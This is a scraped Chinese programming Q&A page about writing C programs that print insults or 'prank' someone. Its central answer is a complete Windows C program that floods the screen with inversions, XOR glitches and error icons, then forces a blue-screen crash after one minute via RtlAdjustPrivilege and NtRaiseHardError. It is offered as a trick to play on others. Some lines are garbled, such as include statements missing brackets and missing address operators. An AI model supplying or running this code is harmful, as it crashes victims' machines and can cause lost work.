首页 > 编程知识 正文

用c语言输出一段骂人话,如何用c语言骂人

时间:2024-03-25 09:50:22 阅读:333301 作者:IVEJ

本文目录一览:

谁帮我做个批处理

很简单,你用C语言写一个printf(骂人的话),编译成可执行文档,然后在批处理里面调用(call)这个可执行文档…

求一个C语言整人代码!!!

先上代码

#include Windows.h

#include time.h

using namespace std;

int call;

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);

int IconWidth = GetSystemMetrics(SM_CXICON);

int IconHeight = GetSystemMetrics(SM_CYICON);

HDC hdc=GetWindowDC(GetDesktopWindow());

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)  0x8000) ? 1:0)

int random(int upper_bound) {

 if(upper_bound==0) {

  return 0;

 }

 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));

 call++;

 return rand() % upper_bound;

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

 while(true) {

  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);

  Sleep(random(100));

 }

 return 0;

}

int GetWay() {

 int r=random(3);

 switch(r) {

  case 0:

   return SRCAND;

  case 1:

   return SRCINVERT;

  case 2:

   return SRCPAINT;

 }

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth);

  int RandHeight = random(ScreenHeight);

  int RandxPixel = random(ScreenWidth - RandWidth);

  int RandyPixel = random(ScreenHeight - RandHeight);

  int RandDestxPixel = random(ScreenWidth - RandWidth);

  int RandDestyPixel = random(ScreenHeight - RandHeight);

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

  Sleep(random(100));

 }

 return 0;

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth);

  int RandHeight = random(ScreenHeight);

  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;

  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;

  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;

  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

  Sleep(random(100));

 }

 return 0;

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

 Sleep(60000);

 HMODULE ntdll = LoadLibrary("ntdll.dll");

 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");

 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");

 unsigned char temp0;

 long unsigned int temp1;

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);

 return 0;

}

DWORD WINAPI DrawErrors(LPVOID Param) {

 while(true) {

  int RandxPixel = random(ScreenWidth - IconWidth / 2);

  int RandyPixel = random(ScreenHeight - IconHeight / 2);

  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));

  Sleep(random(50));

 }

 return 0;

}

int main(void) {

 CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);

 CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);

 CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);

 CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);

 CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);

 while(true);

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:

用C语言编一个输入123,输出456,否者,输出张三笨蛋

#include stdio.h

void main()

{ int a;

scanf("%d",a);

if(a==123) printf("456");

else printf("张三笨蛋");

}

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。